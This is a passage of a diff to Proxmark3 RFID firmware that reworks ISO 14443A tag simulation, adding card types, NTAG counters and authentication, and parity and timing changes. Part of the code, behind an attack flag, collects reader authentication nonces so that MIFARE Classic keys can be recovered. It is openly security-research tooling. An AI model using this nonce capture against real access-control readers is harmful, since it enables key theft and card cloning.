28 * 1 parity bits, 7 start bits, 7 stop bits, 7 correction bits +// -> need 273 bytes buffer +// 44 * 8 data bits, 44 * 1 parity bits, 9 start bits, 9 stop bits, 9 correction bits --370 +// 47 * 8 data bits, 47 * 1 parity bits, 10 start bits, 10 stop bits, 10 correction bits +#define ALLOCATED_TAG_MODULATION_BUFFER_SIZE 453 + bool prepare_allocated_tag_modulation(tag_response_info_t* response_info) { - // Retrieve and store the current buffer index - response_info->modulation = free_buffer_pointer; - - // Determine the maximum size we can use from our buffer - size_t max_buffer_size = (((uint8_t *)BigBuf)+FREE_BUFFER_OFFSET+FREE_BUFFER_SIZE)-free_buffer_pointer; - - // Forward the prepare tag modulation function to the inner function - if (prepare_tag_modulation(response_info,max_buffer_size)) { - // Update the free buffer offset - free_buffer_pointer += ToSendMax; - return true; - } else { - return false; - } + // Retrieve and store the current buffer index + response_info->modulation = free_buffer_pointer; + + // Determine the maximum size we can use from our buffer + size_t max_buffer_size = ALLOCATED_TAG_MODULATION_BUFFER_SIZE; + + // Forward the prepare tag modulation function to the inner function + if (prepare_tag_modulation(response_info, max_buffer_size)) { + // Update the free buffer offset + free_buffer_pointer += ToSendMax; + return true; + } else { + return false; + } } //----------------------------------------------------------------------------- // Main loop of simulated tag: receive commands from reader, decide what // response to send, and send it. +// 'hf 14a sim' //----------------------------------------------------------------------------- -void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) -{ - // Enable and clear the trace - iso14a_clear_trace(); - iso14a_set_tracing(TRUE); +void SimulateIso14443aTag(int tagType, int flags, uint8_t* data) { - uint8_t sak; + #define ATTACK_KEY_COUNT 8 // keep same as define in cmdhfmf.c -> readerAttack() + uint8_t sak = 0; + uint32_t cuid = 0; + uint32_t nonce = 0; + + // PACK response to PWD AUTH for EV1/NTAG + uint8_t response8[4] = {0,0,0,0}; + // Counter for EV1/NTAG + uint32_t counters[] = {0,0,0}; + // The first response contains the ATQA (note: bytes are transmitted in reverse order). - uint8_t response1[2]; + uint8_t response1[] = {0,0}; + + // Here, we collect CUID, block1, keytype1, NT1, NR1, AR1, CUID, block2, keytyp2, NT2, NR2, AR2 + // it should also collect block, keytype. + uint8_t cardAUTHSC = 0; + uint8_t cardAUTHKEY = 0xff; // no authentication + // allow collecting up to 8 sets of nonces to allow recovery of up to 8 keys + + nonces_t ar_nr_nonces[ATTACK_KEY_COUNT]; // for attack types moebius + memset(ar_nr_nonces, 0x00, sizeof(ar_nr_nonces)); + uint8_t moebius_count = 0; switch (tagType) { - case 1: { // MIFARE Classic - // Says: I am Mifare 1k - original line + case 1: { // MIFARE Classic 1k response1[0] = 0x04; - response1[1] = 0x00; sak = 0x08; } break; case 2: { // MIFARE Ultralight - // Says: I am a stupid memory tag, no crypto - response1[0] = 0x04; - response1[1] = 0x00; + response1[0] = 0x44; sak = 0x00; } break; case 3: { // MIFARE DESFire - // Says: I am a DESFire tag, ph33r me response1[0] = 0x04; response1[1] = 0x03; sak = 0x20; } break; - case 4: { // ISO/IEC 14443-4 - // Says: I am a javacard (JCOP) + case 4: { // ISO/IEC 14443-4 - javacard (JCOP) response1[0] = 0x04; - response1[1] = 0x00; sak = 0x28; } break; + case 5: { // MIFARE TNP3XXX + response1[0] = 0x01; + response1[1] = 0x0f; + sak = 0x01; + } break; + case 6: { // MIFARE Mini 320b + response1[0] = 0x44; + sak = 0x09; + } break; + case 7: { // NTAG + response1[0] = 0x44; + sak = 0x00; + // PACK + response8[0] = 0x80; + response8[1] = 0x80; + compute_crc(CRC_14443_A, response8, 2, &response8[2], &response8[3]); + // uid not supplied then get from emulator memory + if (data[0]==0) { + uint16_t start = 4 * (0+12); + uint8_t emdata[8]; + emlGetMemBt( emdata, start, sizeof(emdata)); + memcpy(data, emdata, 3); // uid bytes 0-2 + memcpy(data+3, emdata+4, 4); // uid bytes 3-7 + flags |= FLAG_7B_UID_IN_DATA; + } + } break; + case 8: { // MIFARE Classic 4k + response1[0] = 0x02; + sak = 0x18; + } break; + case 9 : { // FM11RF005SH (Shanghai Metro) + response1[0] = 0x03; + response1[1] = 0x00; + sak = 0x0A; + } default: { Dbprintf("Error: unkown tagtype (%d)",tagType); return; @@ -899,44 +910,66 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) } // The second response contains the (mandatory) first 24 bits of the UID - uint8_t response2[5]; + uint8_t response2[5] = {0x00}; - // Check if the uid uses the (optional) part - uint8_t response2a[5]; - if (uid_2nd) { - response2[0] = 0x88; - num_to_bytes(uid_1st,3,response2+1); - num_to_bytes(uid_2nd,4,response2a); + // For UID size 7, + uint8_t response2a[5] = {0x00}; + + if ( (flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA ) { + response2[0] = 0x88; // Cascade Tag marker + response2[1] = data[0]; + response2[2] = data[1]; + response2[3] = data[2]; + + response2a[0] = data[3]; + response2a[1] = data[4]; + response2a[2] = data[5]; + response2a[3] = data[6]; //?? response2a[4] = response2a[0] ^ response2a[1] ^ response2a[2] ^ response2a[3]; // Configure the ATQA and SAK accordingly response1[0] |= 0x40; sak |= 0x04; + + cuid = bytes_to_num(data+3, 4); } else { - num_to_bytes(uid_1st,4,response2); + memcpy(response2, data, 4); // Configure the ATQA and SAK accordingly response1[0] &= 0xBF; sak &= 0xFB; + cuid = bytes_to_num(data, 4); } // Calculate the BitCountCheck (BCC) for the first 4 bytes of the UID. response2[4] = response2[0] ^ response2[1] ^ response2[2] ^ response2[3]; // Prepare the mandatory SAK (for 4 and 7 byte UID) - uint8_t response3[3]; - response3[0] = sak; - ComputeCrc14443(CRC_14443_A, response3, 1, &response3[1], &response3[2]); + uint8_t response3[3] = {sak, 0x00, 0x00}; + compute_crc(CRC_14443_A, response3, 1, &response3[1], &response3[2]); // Prepare the optional second SAK (for 7 byte UID), drop the cascade bit - uint8_t response3a[3]; + uint8_t response3a[3] = {0x00}; response3a[0] = sak & 0xFB; - ComputeCrc14443(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]); + compute_crc(CRC_14443_A, response3a, 1, &response3a[1], &response3a[2]); - uint8_t response5[] = { 0x00, 0x00, 0x00, 0x00 }; // Very random tag nonce - uint8_t response6[] = { 0x04, 0x58, 0x00, 0x02, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS - ComputeCrc14443(CRC_14443_A, response6, 4, &response6[4], &response6[5]); - - #define TAG_RESPONSE_COUNT 7 + // Tag NONCE. + uint8_t response5[4]; + + uint8_t response6[] = { 0x04, 0x58, 0x80, 0x02, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS: + + // Format byte = 0x58: FSCI=0x08 (FSC=256), TA(1) and TC(1) present, + // TA(1) = 0x80: different divisors not supported, DR = 1, DS = 1 + // TB(1) = not present. Defaults: FWI = 4 (FWT = 256 * 16 * 2^4 * 1/fc = 4833us), SFGI = 0 (SFG = 256 * 16 * 2^0 * 1/fc = 302us) + // TC(1) = 0x02: CID supported, NAD not supported + compute_crc(CRC_14443_A, response6, 4, &response6[4], &response6[5]); + + // Prepare GET_VERSION (different for UL EV-1 / NTAG) + // uint8_t response7_EV1[] = {0x00, 0x04, 0x03, 0x01, 0x01, 0x00, 0x0b, 0x03, 0xfd, 0xf7}; //EV1 48bytes VERSION. + // uint8_t response7_NTAG[] = {0x00, 0x04, 0x04, 0x02, 0x01, 0x00, 0x11, 0x03, 0x01, 0x9e}; //NTAG 215 + // Prepare CHK_TEARING + // uint8_t response9[] = {0xBD,0x90,0x3f}; + + #define TAG_RESPONSE_COUNT 10 tag_response_info_t responses[TAG_RESPONSE_COUNT] = { { .response = response1, .response_n = sizeof(response1) }, // Answer to request - respond with card type { .response = response2, .response_n = sizeof(response2) }, // Anticollision cascade1 - respond with uid @@ -945,7 +978,12 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) { .response = response3a, .response_n = sizeof(response3a) }, // Acknowledge select - cascade 2 { .response = response5, .response_n = sizeof(response5) }, // Authentication answer (random nonce) { .response = response6, .response_n = sizeof(response6) }, // dummy ATS (pseudo-ATR), answer to RATS - }; + + { .response = response8, .response_n = sizeof(response8) } // EV1/NTAG PACK response + }; + // { .response = response7_NTAG, .response_n = sizeof(response7_NTAG)}, // EV1/NTAG GET_VERSION response + // { .response = response9, .response_n = sizeof(response9) } // EV1/NTAG CHK_TEAR response + // Allocate 512 bytes for the dynamic modulation, created when the reader queries for it // Such a response is less time critical, so we can prepare them on the fly @@ -960,16 +998,23 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) .modulation_n = 0 }; - // Reset the offset pointer of the free buffer - reset_free_buffer(); - + // We need to listen to the high-frequency, peak-detected path. + iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); + + BigBuf_free_keep_EM(); + clear_trace(); + set_tracing(true); + + // allocate buffers: + uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); + uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE); + free_buffer_pointer = BigBuf_malloc(ALLOCATED_TAG_MODULATION_BUFFER_SIZE); + // Prepare the responses of the anticollision phase // there will be not enough time to do this at the moment the reader sends it REQA - for (size_t i=0; i 2) { + // send NACK 0x0 == invalid argument + uint8_t nack[] = {0x00}; + EmSendCmd(nack,sizeof(nack)); + } else { + uint8_t cmd[] = {0x00,0x00,0x00,0x14,0xa5}; + num_to_bytes(counters[index], 3, cmd); + AddCrc14A(cmd, sizeof(cmd)-2); + EmSendCmd(cmd,sizeof(cmd)); } p_response = NULL; - } else if(receivedCmd[0] == 0x60 || receivedCmd[0] == 0x61) { // Received an authentication request - p_response = &responses[5]; order = 7; - } else if(receivedCmd[0] == 0xE0) { // Received a RATS request + } else if (receivedCmd[0] == MIFARE_ULEV1_INCR_CNT && tagType == 7) { // Received a INC COUNTER -- + uint8_t index = receivedCmd[1]; + if ( index > 2) { + // send NACK 0x0 == invalid argument + uint8_t nack[] = {0x00}; + EmSendCmd(nack,sizeof(nack)); + } else { + + uint32_t val = bytes_to_num(receivedCmd+2,4); + + // if new value + old value is bigger 24bits, fail + if ( val + counters[index] > 0xFFFFFF ) { + // send NACK 0x4 == counter overflow + uint8_t nack[] = {0x04}; + EmSendCmd(nack,sizeof(nack)); + } else { + counters[index] = val; + // send ACK + uint8_t ack[] = {0x0a}; + EmSendCmd(ack,sizeof(ack)); + } + } + p_response = NULL; + } else if (receivedCmd[0] == MIFARE_ULEV1_CHECKTEAR && tagType == 7) { // Received a CHECK_TEARING_EVENT -- + // first 12 blocks of emu are [getversion answer - check tearing - pack - 0x00 - signature] + uint8_t emdata[3]; + uint8_t index = receivedCmd[1]; + if ( index > 2) { + // send NACK 0x0 == invalid argument + uint8_t nack[] = {0x00}; + EmSendCmd(nack,sizeof(nack)); + } else { + emlGetMemBt( emdata, 10+index, 1); + AddCrc14A(emdata, sizeof(emdata)-2); + EmSendCmd(emdata, sizeof(emdata)); + } + p_response = NULL; + } else if (receivedCmd[0] == ISO14443A_CMD_HALT) { // Received a HALT + LogTrace(receivedCmd, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); + p_response = NULL; + } else if (receivedCmd[0] == MIFARE_AUTH_KEYA || receivedCmd[0] == MIFARE_AUTH_KEYB) { // Received an authentication request + if ( tagType == 7 ) { // IF NTAG /EV1 0x60 == GET_VERSION, not a authentication request. + uint8_t emdata[10]; + emlGetMemBt( emdata, 0, 8 ); + AddCrc14A(emdata, sizeof(emdata)-2); + EmSendCmd(emdata, sizeof(emdata)); + p_response = NULL; + } else { + + cardAUTHKEY = receivedCmd[0] - 0x60; + cardAUTHSC = receivedCmd[1] / 4; // received block num + + // incease nonce at AUTH requests. this is time consuming. + nonce = prng_successor( GetTickCount(), 32 ); + //num_to_bytes(nonce, 4, response5); + num_to_bytes(nonce, 4, dynamic_response_info.response); + dynamic_response_info.response_n = 4; + + //prepare_tag_modulation(&responses[5], DYNAMIC_MODULATION_BUFFER_SIZE); + prepare_tag_modulation(&dynamic_response_info, DYNAMIC_MODULATION_BUFFER_SIZE); + p_response = &dynamic_response_info; + //p_response = &responses[5]; + order = 7; + } + } else if (receivedCmd[0] == ISO14443A_CMD_RATS) { // Received a RATS request if (tagType == 1 || tagType == 2) { // RATS not supported EmSend4bit(CARD_NACK_NA); p_response = NULL; } else { p_response = &responses[6]; order = 70; } - } else if (order == 7 && len == 8) { // Received authentication request - if (tracing) { - LogTrace(receivedCmd, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); - } + } else if (order == 7 && len == 8) { // Received {nr] and {ar} (part of authentication) + LogTrace(receivedCmd, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); uint32_t nr = bytes_to_num(receivedCmd,4); uint32_t ar = bytes_to_num(receivedCmd+4,4); - Dbprintf("Auth attempt {nr}{ar}: %08x %08x",nr,ar); + + // Collect AR/NR per keytype & sector + if ( (flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK ) { + + int8_t index = -1; + int8_t empty = -1; + for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) { + // find which index to use + if ( (cardAUTHSC == ar_nr_nonces[i].sector) && (cardAUTHKEY == ar_nr_nonces[i].keytype)) + index = i; + + // keep track of empty slots. + if ( ar_nr_nonces[i].state == EMPTY) + empty = i; + } + // if no empty slots. Choose first and overwrite. + if ( index == -1 ) { + if ( empty == -1 ) { + index = 0; + ar_nr_nonces[index].state = EMPTY; + } else { + index = empty; + } + } + + switch(ar_nr_nonces[index].state) { + case EMPTY: { + // first nonce collect + ar_nr_nonces[index].cuid = cuid; + ar_nr_nonces[index].sector = cardAUTHSC; + ar_nr_nonces[index].keytype = cardAUTHKEY; + ar_nr_nonces[index].nonce = nonce; + ar_nr_nonces[index].nr = nr; + ar_nr_nonces[index].ar = ar; + ar_nr_nonces[index].state = FIRST; + break; + } + case FIRST : { + // second nonce collect + ar_nr_nonces[index].nonce2 = nonce; + ar_nr_nonces[index].nr2 = nr; + ar_nr_nonces[index].ar2 = ar; + ar_nr_nonces[index].state = SECOND; + + // send to client + cmd_send(CMD_ACK, CMD_SIMULATE_MIFARE_CARD, 0, 0, &ar_nr_nonces[index], sizeof(nonces_t)); + + ar_nr_nonces[index].state = EMPTY; + ar_nr_nonces[index].sector = 0; + ar_nr_nonces[index].keytype = 0; + + moebius_count++; + break; + } + default: break; + } + } + p_response = NULL; + + } else if (receivedCmd[0] == MIFARE_ULC_AUTH_1 ) { // ULC authentication, or Desfire Authentication + } else if (receivedCmd[0] == MIFARE_ULEV1_AUTH) { // NTAG / EV-1 authentication + if ( tagType == 7 ) { + uint16_t start = 13; // first 4 blocks of emu are [getversion answer - check tearing - pack - 0x00] + uint8_t emdata[4]; + emlGetMemBt( emdata, start, 2); + AddCrc14A(emdata, 2); + EmSendCmd(emdata, sizeof(emdata)); + p_response = NULL; + uint32_t pwd = bytes_to_num(receivedCmd+1,4); + + if ( MF_DBGLEVEL >= 3) Dbprintf("Auth attempt: %08x", pwd); + } } else { // Check for ISO 14443A-4 compliant commands, look at left nibble switch (receivedCmd[0]) { - + case 0x02: + case 0x03: { // IBlock (command no CID) + dynamic_response_info.response[0] = receivedCmd[0]; + dynamic_response_info.response[1] = 0x90; + dynamic_response_info.response[2] = 0x00; + dynamic_response_info.response_n = 3; + } break; case 0x0B: - case 0x0A: { // IBlock (command) + case 0x0A: { // IBlock (command CID) dynamic_response_info.response[0] = receivedCmd[0]; dynamic_response_info.response[1] = 0x00; dynamic_response_info.response[2] = 0x90; @@ -1061,29 +1281,28 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) dynamic_response_info.response_n = 2; } break; - case 0xaa: - case 0xbb: { + case 0xAA: + case 0xBB: { dynamic_response_info.response[0] = receivedCmd[0] ^ 0x11; dynamic_response_info.response_n = 2; } break; - case 0xBA: { // - memcpy(dynamic_response_info.response,"\xAB\x00",2); - dynamic_response_info.response_n = 2; + case 0xBA: { // ping / pong + dynamic_response_info.response[0] = 0xAB; + dynamic_response_info.response[1] = 0x00; + dynamic_response_info.response_n = 2; } break; case 0xCA: case 0xC2: { // Readers sends deselect command - memcpy(dynamic_response_info.response,"\xCA\x00",2); - dynamic_response_info.response_n = 2; + dynamic_response_info.response[0] = 0xCA; + dynamic_response_info.response[1] = 0x00; + dynamic_response_info.response_n = 2; } break; default: { // Never seen this command before - if (tracing) { - LogTrace(receivedCmd, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); - } + LogTrace(receivedCmd, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); Dbprintf("Received unknown command (len=%d):",len); Dbhexdump(len,receivedCmd,false); // Do not respond @@ -1096,15 +1315,12 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) dynamic_response_info.response[1] = receivedCmd[1]; // Add CRC bytes, always used in ISO 14443A-4 compliant cards - AppendCrc14443a(dynamic_response_info.response,dynamic_response_info.response_n); + AddCrc14A(dynamic_response_info.response, dynamic_response_info.response_n); dynamic_response_info.response_n += 2; if (prepare_tag_modulation(&dynamic_response_info,DYNAMIC_MODULATION_BUFFER_SIZE) == false) { - Dbprintf("Error preparing tag response"); - if (tracing) { - LogTrace(receivedCmd, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parityBits, TRUE); - LogTrace(NULL, 0, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, 0, TRUE); - } + DbpString("Error preparing tag response"); + LogTrace(receivedCmd, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.parity, true); break; } p_response = &dynamic_response_info; @@ -1112,65 +1328,68 @@ void SimulateIso14443aTag(int tagType, int uid_1st, int uid_2nd, byte_t* data) } // Count number of wakeups received after a halt - if(order == 6 && lastorder == 5) { happened++; } + if (order == 6 && lastorder == 5) { happened++; } // Count number of other messages after a halt - if(order != 6 && lastorder == 5) { happened2++; } + if (order != 6 && lastorder == 5) { happened2++; } - if(cmdsRecvd > 999) { - DbpString("1000 commands later..."); - break; - } cmdsRecvd++; if (p_response != NULL) { - EmSendCmd14443aRaw(p_response->modulation, p_response->modulation_n, receivedCmd[0] == 0x52); + EmSendCmd14443aRaw(p_response->modulation, p_response->modulation_n); // do the tracing for the previous reader request and this tag answer: + uint8_t par[MAX_PARITY_SIZE] = {0x00}; + GetParity(p_response->response, p_response->response_n, par); + EmLogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, - Uart.parityBits, + Uart.parity, p_response->response, p_response->response_n, LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_TAG, (LastTimeProxToAirStart + p_response->ProxToAirDuration)*16 + DELAY_ARM2AIR_AS_TAG, - SwapBits(GetParity(p_response->response, p_response->response_n), p_response->response_n)); - } - - if (!tracing) { - Dbprintf("Trace Full. Simulation stopped."); - break; + par); } } - Dbprintf("%x %x %x", happened, happened2, cmdsRecvd); - LED_A_OFF(); + cmd_send(CMD_ACK,1,0,0,0,0); + switch_off(); + + BigBuf_free_keep_EM(); + + if (MF_DBGLEVEL >= 4){ + Dbprintf("-[ Wake ups after halt [%d]", happened); + Dbprintf("-[ Messages after halt [%d]", happened2); + Dbprintf("-[ Num of received cmd [%d]", cmdsRecvd); + Dbprintf("-[ Num of moebius tries [%d]", moebius_count); + } } - // prepare a delayed transfer. This simply shifts ToSend[] by a number // of bits specified in the delay parameter. -void PrepareDelayedTransfer(uint16_t delay) -{ +void PrepareDelayedTransfer(uint16_t delay) { + delay &= 0x07; + if (!delay) return; + uint8_t bitmask = 0; uint8_t bits_to_shift = 0; uint8_t bits_shifted = 0; - - delay &= 0x07; - if (delay) { - for (uint16_t i = 0; i < delay; i++) { - bitmask |= (0x01 << i); - } - ToSend[ToSendMax++] = 0x00; - for (uint16_t i = 0; i < ToSendMax; i++) { + uint16_t i = 0; + + for (i = 0; i < delay; i++) + bitmask |= (0x01 << i); + + ToSend[ToSendMax++] = 0x00; + + for (i = 0; i < ToSendMax; i++) { bits_to_shift = ToSend[i] & bitmask; ToSend[i] = ToSend[i] >> delay; ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay)); bits_shifted = bits_to_shift; } } -} //------------------------------------------------------------------------------------- @@ -1181,61 +1400,54 @@ void PrepareDelayedTransfer(uint16_t delay) // if == 0: transfer immediately and return time of transfer // if != 0: delay transfer until time specified //------------------------------------------------------------------------------------- -static void TransmitFor14443a(const uint8_t *cmd, int len, uint32_t *timing) -{ - +static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - uint32_t ThisTransferTime = 0; - if (timing) { - if(*timing == 0) { // Measure time + if (*timing == 0) // Measure time *timing = (GetCountSspClk() + 8) & 0xfffffff8; - } else { + else PrepareDelayedTransfer(*timing & 0x00000007); // Delay transfer (fine tuning - up to 7 MF clock ticks) - } - if(MF_DBGLEVEL >= 4 && GetCountSspClk() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing"); - while(GetCountSspClk() < (*timing & 0xfffffff8)); // Delay transfer (multiple of 8 MF clock ticks) + + if(MF_DBGLEVEL >= 4 && GetCountSspClk() >= (*timing & 0xfffffff8)) + Dbprintf("TransmitFor14443a: Missed timing"); + while (GetCountSspClk() < (*timing & 0xfffffff8)) {}; // Delay transfer (multiple of 8 MF clock ticks) LastTimeProxToAirStart = *timing; } else { + + uint32_t ThisTransferTime = 0; ThisTransferTime = ((MAX(NextTransferTime, GetCountSspClk()) & 0xfffffff8) + 8); - while(GetCountSspClk() < ThisTransferTime); + + while (GetCountSspClk() < ThisTransferTime) {}; + LastTimeProxToAirStart = ThisTransferTime; } // clear TXRDY AT91C_BASE_SSC->SSC_THR = SEC_Y; - // for(uint16_t c = 0; c < 10;) { // standard delay for each transfer (allow tag to be ready after last transmission) - // if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - // AT91C_BASE_SSC->SSC_THR = SEC_Y; - // c++; - // } - // } - - uint16_t c = 0; - for(;;) { + volatile uint8_t b; + uint16_t c = 0; + while (c < len) { if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = cmd[c]; - c++; - if(c >= len) { - break; - } + AT91C_BASE_SSC->SSC_THR = cmd[c++]; } + //iceman test + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR); (void)b; + } } NextTransferTime = MAX(NextTransferTime, LastTimeProxToAirStart + REQUEST_GUARD_TIME); - } - //----------------------------------------------------------------------------- // Prepare reader command (in bits, support short frames) to send to FPGA //----------------------------------------------------------------------------- -void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwParity) -{ +void CodeIso14443aBitsAsReaderPar(const uint8_t *cmd, uint16_t bits, const uint8_t *parity) { int i, j; - int last; + int last = 0; uint8_t b; ToSendReset(); @@ -1243,7 +1455,6 @@ void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwPari // Start of Communication (Seq. Z) ToSend[++ToSendMax] = SEC_Z; LastProxToAirDuration = 8 * (ToSendMax+1) - 6; - last = 0; size_t bytecount = nbytes(bits); // Generate send structure for the data bits @@ -1272,10 +1483,10 @@ void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwPari b >>= 1; } - // Only transmit (last) parity bit if we transmitted a complete byte - if (j == 8) { + // Only transmit parity bit if we transmitted a complete byte + if (j == 8 && parity != NULL) { // Get the parity bit - if ((dwParity >> i) & 0x01) { + if (parity[i>>3] & (0x80 >> (i&0x0007))) { // Sequence X ToSend[++ToSendMax] = SEC_X; LastProxToAirDuration = 8 * (ToSendMax+1) - 2; @@ -1313,9 +1524,8 @@ void CodeIso14443aBitsAsReaderPar(const uint8_t * cmd, int bits, uint32_t dwPari //----------------------------------------------------------------------------- // Prepare reader command to send to FPGA //----------------------------------------------------------------------------- -void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) -{ - CodeIso14443aBitsAsReaderPar(cmd,len*8,dwParity); +void CodeIso14443aAsReaderPar(const uint8_t *cmd, uint16_t len, const uint8_t *parity) { + CodeIso14443aBitsAsReaderPar(cmd, len*8, parity); } //----------------------------------------------------------------------------- @@ -1323,8 +1533,7 @@ void CodeIso14443aAsReaderPar(const uint8_t * cmd, int len, uint32_t dwParity) // Stop when button is pressed (return 1) or field was gone (return 2) // Or return 0 when command is captured //----------------------------------------------------------------------------- -static int EmGetCmd(uint8_t *received, int *len) -{ +int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *parity) { *len = 0; uint32_t timer = 0, vtime = 0; @@ -1340,20 +1549,19 @@ static int EmGetCmd(uint8_t *received, int *len) // Set ADC to read field strength AT91C_BASE_ADC->ADC_CR = AT91C_ADC_SWRST; AT91C_BASE_ADC->ADC_MR = - ADC_MODE_PRESCALE(32) | - ADC_MODE_STARTUP_TIME(16) | - ADC_MODE_SAMPLE_HOLD_TIME(8); + ADC_MODE_PRESCALE(63) | + ADC_MODE_STARTUP_TIME(1) | + ADC_MODE_SAMPLE_HOLD_TIME(15); AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF); // start ADC AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; // Now run a 'software UART' on the stream of incoming samples. - UartReset(); - Uart.output = received; + UartInit(received, parity); // Clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - + for(;;) { WDT_HIT(); @@ -1365,7 +1573,7 @@ static int EmGetCmd(uint8_t *received, int *len) analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF]; AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; if (analogCnt >= 32) { - if ((33000 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { + if ((MAX_ADC_HF_VOLTAGE * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { vtime = GetTickCount(); if (!timer) timer = vtime; // 50ms no field --> card to idle state @@ -1385,30 +1593,31 @@ static int EmGetCmd(uint8_t *received, int *len) return 0; } } - } } - -static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, bool correctionNeeded) -{ - uint8_t b; +int EmSendCmd14443aRaw(uint8_t *resp, uint16_t respLen) { + volatile uint8_t b; uint16_t i = 0; uint32_t ThisTransferTime; + bool correctionNeeded; // Modulate Manchester FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_MOD); - // include correction bit if necessary - if (Uart.parityBits & 0x01) { - correctionNeeded = TRUE; + // Include correction bit if necessary + if (Uart.bitCount == 7) + { + // Short tags (7 bits) don't have parity, determine the correct value from MSB + correctionNeeded = Uart.output[0] & 0x40; } - if(correctionNeeded) { - // 1236, so correction bit needed - i = 0; - } else { - i = 1; + else + { + // The parity bits are left-aligned + correctionNeeded = Uart.parity[(Uart.len-1)/8] & (0x80 >> ((Uart.len-1) & 7)); } + // 1236, so correction bit needed + i = (correctionNeeded) ? 0 : 1; // clear receiving shift register and holding register while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)); @@ -1417,7 +1626,7 @@ static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, bool correctionNeeded) b = AT91C_BASE_SSC->SSC_RHR; (void) b; // wait for the FPGA to signal fdt_indicator == 1 (the FPGA is ready to queue new data in its delay line) - for (uint16_t j = 0; j < 5; j++) { // allow timeout - better late than never + for (uint8_t j = 0; j < 5; j++) { // allow timeout - better late than never while(!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)); if (AT91C_BASE_SSC->SSC_RHR) break; } @@ -1428,105 +1637,90 @@ static int EmSendCmd14443aRaw(uint8_t *resp, int respLen, bool correctionNeeded) AT91C_BASE_SSC->SSC_THR = SEC_F; // send cycle - for(; i <= respLen; ) { + for(; i < respLen; ) { if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = resp[i++]; FpgaSendQueueDelay = (uint8_t)AT91C_BASE_SSC->SSC_RHR; } - - if(BUTTON_PRESS()) { - break; - } + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR); (void)b; + } + if(BUTTON_PRESS()) break; } // Ensure that the FPGA Delay Queue is empty before we switch to TAGSIM_LISTEN again: - for (i = 0; i < 2 ; ) { + uint8_t fpga_queued_bits = FpgaSendQueueDelay >> 3; + for (i = 0; i <= fpga_queued_bits/8 + 1; ) { if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { AT91C_BASE_SSC->SSC_THR = SEC_F; FpgaSendQueueDelay = 